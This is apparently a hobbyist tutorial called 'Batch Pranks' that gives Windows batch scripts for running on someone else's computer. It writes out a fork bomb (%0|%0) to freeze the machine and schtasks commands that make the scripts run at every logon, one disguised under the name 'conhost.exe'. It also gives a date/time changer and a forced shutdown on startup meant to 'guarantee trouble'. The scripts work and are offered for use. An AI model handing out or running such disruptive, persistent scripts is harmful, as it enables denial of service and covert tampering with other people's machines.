Welcome to Batch Pranks
In This Instructable I will show you how to freeze someones computer, change their date/time and shutdown their computer at startup!!!!

Step 1: Computer Freeze

Their are numerous ways to freeze a computer (If you have one tell me). Here two I know :

1. %0|%0

2.start (itself)

Step 2: How to Freeze the Computer

Open Notepad and type

@echo off
cls
%0|%0

This will slow it down quite fast when it starts (alow about 10 seconds before it actually does anything)

if you add this to the top
schtasks /create /tn "Proccess Name Here" /tr Directory /sc onlogon /sd The starting date

eg.
schtasks /create /tn "My App" /tr c:\apps\myapp.exe /sc onlogon /sd 12/27/2050
@echo off
cls
%0|%0

save as Whatever.bat

Step 3: Date/Time Changer

To Change someones Time, date or both type the folowing
or you can just download the file below.
save it as whatever.bat

@echo off
:start
cls
Title Date/Time Changer
echo Press T to change the time
echo Press D to change the date
set/p "cho=>"

if %cho%==T goto Time
if %cho%==D goto Date
if %cho%==t goto Time
if %cho%==d goto Date

:Time
cls
set /p Hours=Hours :
if %Hours% LSS 24 goto t1
echo Incorrect Time
pause >nul
goto Time
:t1
set /p Minites=Minites :
if %Minites% LSS 60 goto t2
echo Incorrect Time
pause >nul
goto Time
:t2
Time %Hours%:%Minites%
goto start

:Date
cls
set /p Days=Days :
if %Days% LSS 31 goto d1
echo Incorrect Date
pause >nul
goto Date
:d1
set /p Months=Months :
if %Months% LSS 12 goto d2
echo Incorrect Date
pause >nul
goto Date
:d2
set /p Years=Years :
Date %Days%/%Months%/%Years%
goto start

DateTime Changer.exe
Download

Step 4: Shutdown Prank

This is fairly simple (and extremely COMMON) just type the following and this will guarantee trouble

schtasks /create /tn "conhost.exe" /tr %CD%\%0 /sc onlogon
@echo off
cls
shutdown -s -t 30 -c "Comment Here"

read below for more information.

if you wanted an interface that will do this for you see step 4 of basic batch my other Instructable.